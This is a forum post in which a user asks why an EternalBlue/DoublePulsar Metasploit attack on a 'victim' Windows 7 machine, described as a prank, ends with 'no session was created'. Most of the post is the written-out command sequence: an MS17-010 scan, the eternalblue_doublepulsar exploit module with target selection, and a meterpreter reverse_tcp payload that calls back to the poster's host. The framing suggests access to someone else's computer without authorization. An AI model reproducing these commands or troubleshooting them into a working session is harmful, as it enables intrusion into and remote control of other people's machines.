Exploit Completed but No Session Was Created .

Hey guys , I'm trying to use eternal blue to hack a computer nothing illegal it's for a prank but when i click exploit it says exploit completed but no session was created. I followed some video on youtube and typed:

use auxiliary/scanner/smb/smbms17010

set rhosts (victim's ipv4 adress)

exploit

use exploit/windows/smb/eternalblue_doublepulsar

set DOUBLEPULSARPATH /root/Eternalblue-Doublepulsar-Metasploit/deps/

set ETERNALBLUEPATH/root/Eternalblue-Doublepulsar-Metasploit/deps/

set rhost (victim's ipv4 address)

show targets

set target 8

set payload windows/meterpreter/reverse_tcp

set LHOST (my ipv4 address)

exploit .

And after this everything goes smoothly but in the end says exploit completed but no session was created

it was running on port 445 and i checked and this port was open on the victim computer it is running windows 7 32 bit. If anyone knows anything about it please help i tried searching on the internet but it didn't work. Thanks